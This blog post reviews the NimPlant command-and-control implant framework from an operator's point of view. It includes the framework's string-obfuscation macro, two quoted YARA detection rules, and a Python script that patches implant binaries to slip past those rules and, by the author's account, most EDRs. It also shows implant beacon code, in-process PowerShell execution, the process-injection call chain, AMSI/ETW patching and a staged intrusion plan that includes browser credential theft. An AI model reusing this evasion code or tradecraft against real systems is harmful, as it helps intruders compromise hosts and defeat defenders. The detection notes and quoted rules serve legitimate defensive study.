# tl;dr
If I release any private tooling, I'll be hit with a stick. Thus, comes a low-effort post exploring the use of [NimPlant](https://github.com/chvancooten/NimPlant) as a stage0 C2 and its features in general. Props to @chvancooten, as the framework is feature-rich and quite stable.
NimPlant is a relatively simple (to understand, not to write) C2 written in Nim specifically as a light-weight implant framework. It is meant to be used to deploy something more [advanced](https://tishina.in/opsec/sliver-opsec-notes) after some initial reconnaissance.
# static evasion
NimPlant does several simple things for static evasion. Compile-time string obfuscation is done with the standard Nim approach you may find in many loaders:
```nim
import macros, hashes
# Automatically obfuscate static strings in binary
type
dstring = distinct string
proc calculate*(s: dstring, key: int): string {.noinline.} =
var k = key
result = string(s)
for i in 0 ..< result.len:
for f in [0, 8, 16, 24]:
result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF))
k = k +% 1
var eCtr {.compileTime.} = hash(CompileTime & CompileDate) and 0x7FFFFFFF
macro obf*(s: untyped): untyped =
if len($s) < 1000:
var encodedStr = calculate(dstring($s), eCtr)
result = quote do:
calculate(dstring(`encodedStr`), `eCtr`)
eCtr = (eCtr *% 16777619) and 0x7FFFFFFF
else:
result = s
```
Implant config is XOR-obfuscated and the binary is stripped. This still leaves plenty of easy to find signatures, and some of them are included in the framework:
```js
rule HKTL_NimPlant_Jan23_1 {
meta:
description = "Detects Nimplant C2 implants (simple rule)"
author = "Florian Roth"
reference = "https://github.com/chvancooten/NimPlant"
date = "2023-01-30"
score = 85
hash1 = "3410755c6e83913c2cbf36f4e8e2475e8a9ba60dd6b8a3d25f2f1aaf7c06f0d4"
hash2 = "b810a41c9bfb435fe237f969bfa83b245bb4a1956509761aacc4bd7ef88acea9"
hash3 = "c9e48ba9b034e0f2043e13f950dd5b12903a4006155d6b5a456877822f9432f2"
hash4 = "f70a3d43ae3e079ca062010e803a11d0dcc7dd2afb8466497b3e8582a70be02d"
strings:
$x1 = "NimPlant.dll" ascii fullword
$x2 = "NimPlant v" ascii
$a1 = "base64.nim" ascii fullword
$a2 = "zippy.nim" ascii fullword
$a3 = "whoami.nim" ascii fullword
$sa1 = "getLocalAdm" ascii fullword
$sa2 = "getAv" ascii fullword
$sa3 = "getPositionImpl" ascii fullword
condition:
(
1 of ($x*) and 2 of ($a*)
)
or (
all of ($a*) and all of ($s*)
)
or 5 of them
}
rule nimplant_detection
{
meta:
description = "Detects on-disk and in-memory artifacts of NimPlant C2 implants"
author = "NVIDIA Security Team"
date = "02/03/2023"
strings:
$oep = { 48 83 EC ( 28 48 8B 05 | 48 48 8B 05 ) [17] ( FC FF FF 90 90 48 83 C4 28 | C4 48 E9 91 FE FF FF 90 4C ) }
$t1 = "parsetoml.nim" fullword
$t2 = "zippy.nim" fullword
$t3 = "gzip.nim" fullword
$t4 = "deflate.nim" fullword
$t5 = "inflate.nim" fullword
$ss1 = "BeaconGetSpawnTo"
$ss2 = "BeaconInjectProcess"
$ss3 = "Cannot enumerate antivirus."
$sr1 = "NimPlant" fullword
$sr2 = "C2 Client" fullword
$sh1 = "X-App-Version" fullword
$sh2 = "gzip" fullword
condition:
( $oep and 4 of ($t*) )
or ( 1 of ($ss*) and 1 of ($sr*) )
or ( 1 of ($sr*) and all of ($sh*) and 2 of ($t*) )
}
```
Of course, those are trivial to bypass:
```python
import os
import random
for artifact in os.listdir("./client/bin"):
with open("./client/bin/"+artifact, "rb") as f:
fileb = f.read()
fileb = fileb.replace(b"NimPlant", b"MinPlant")
fileb = fileb.replace(b".nim", bytes([random.randint(30, 180) for _ in range(4)]))
with open(artifact, "wb") as f:
f.write(fileb)
```
At the time of writing, it was enough to bypass most EDRs, which is weird and should not be the case.
NimPlant is not PIC, and includes a pre-compiled [SRDI](https://github.com/monoxgas/sRDI/tree/9fdd5c44383039519accd1e6bac4acd5a046a92c) shellcode stub to generate the implant shellcode. This may be a very stable way to detect NimPlant in-memory.
The shellcode is also pretty big (~800Kb), which means no trusted RWX allocations, easy stomping, etc. For example, most trusted library dynamic RWX allocations are 64Kb, I even wrote a very bad scanner to check (in Nim, to keep up with the theme): https://gist.github.com/zimnyaa/a80063d723bc9f894322ed37bf304b73
# network communication
Server-side comms of NimPlant is built in Flask, and allow the end user to configure the endpoints for HTTP communication. This is how HTTP requests are created on the implant side:
```nim
let req = Request(
url: parseUrl(target),
verb: "post",
headers: @[
Header(key: "X-Identifier", value: li.id),
Header(key: "User-Agent", value: li.userAgent),
Header(key: "Content-Type", value: "application/json")
],
allowAnyHttpsCertificate: true,
body: "{\"" & postKey & "\":\"" & postValue & "\"}"
)
return fetch(req)
```
The default value for is postKey is "data", and the information is compressed and encrypted with AES-CTR and a pre-shared key. I'd recommend changing both `X-Identifier` and the postKey to make the traffic less easily signatured.
# implant features
## default ones
File download/upload, filesystem navigation, registry features, and basic situational awareness are all there. Notably, the `ps` command does _not_ open handles to all processes by default.
## risky/dinvoke
For D/Invoke, NimPlant copies over the fixed-size stubs from ntdll.dll dynamically to a 23-byte RWX allocation. The functions are resolved by name comparison. I am not sure the benefits outweigh allocating RWX, but then again I don't know the reasoning behind that approach.
## risky/execute-assembly
NimPlant comes with `execute-assembly`, and it is always in-process with `winim/clr` (see [[pyd-execute-assembly]]). AMSI and ETW bypasses are boring, though, with `ret` patches for `AmsiScanBuffer` and `EtwEventWrite`.
## risky/powershell
PowerShell is also executed in-process with System.Management.Automation, which is a nice feature to have. This is how it works, if you haven't seen this implemented elsewhere:
```nim
let
Automation = load(obf("System.Management.Automation"))
RunspaceFactory = Automation.GetType(obf("System.Management.Automation.Runspaces.RunspaceFactory"))
var
runspace = @RunspaceFactory.CreateRunspace()
pipeline = runspace.CreatePipeline()
runspace.Open()
pipeline.Commands.AddScript(commandArgs)
pipeline.Commands.Add(obf("Out-String"))
var pipeOut = pipeline.Invoke()
```
## risky/shinject
[[#risky/dinvoke]] is used here.
```
OpenProcess ->
VirtualAllocEx ->
WriteProcessMemory ->
VirtualProtectEx (ER) ->
CreateRemoteThread
```
Eh, the industry standard.
## BOFs
NimPlant natively loads BOFs (looking at you, Sliver) with https://github.com/frkngksl/NiCOFF. Moreover, more beacon compatibility functions are implemented in comparison with the standard TrustedSec implementation. Notably, beacon token functions, `BeaconGetSpawnTo`/`BeaconSpawnTemporaryProcess` (albeit hardcoded with "C:\\Windows\\SysWOW64\\rundll32.exe") are there. Injection functions are still not implemented.
By default, an RWX section is allocated, which inspired me for [[caveman-bofs]].
## SOCKS5, portfwd, unhooking, dll loading, etc
Nope, the project is open-source and open for pull requests ;)
# using as a stage0
In my experience, NimPlant makes for an easy-to-use stage0 framework. However, I would recommend implementing a custom BOF to load more advanced tooling instead of using the default capabilities, which are pretty limited.
The ideal approach IMO would be something like this:
```j
load NimPlant from initial access ->
run initial information stealing with e.g. chromiumkeydump and FS commands ->
run through the initial access checklist with SA bofs ->
load an advanced C2 and start poking the domain
```
Props to @chvancooten, I just read the code.